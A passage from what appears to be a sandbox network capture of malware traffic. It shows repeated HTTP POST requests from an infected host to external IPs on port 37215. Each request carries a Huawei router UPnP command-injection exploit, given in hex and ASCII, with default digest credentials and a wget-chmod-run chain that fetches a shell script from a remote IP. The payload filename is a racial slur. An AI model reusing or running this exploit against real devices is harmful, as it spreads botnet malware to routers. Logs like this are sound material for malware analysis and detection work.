65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.055212975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.651556015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	59360	31.136.220.43	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.797602892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881683111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.024697065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.055212975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.651556969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	33310	31.136.169.43	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.801664114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881673098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 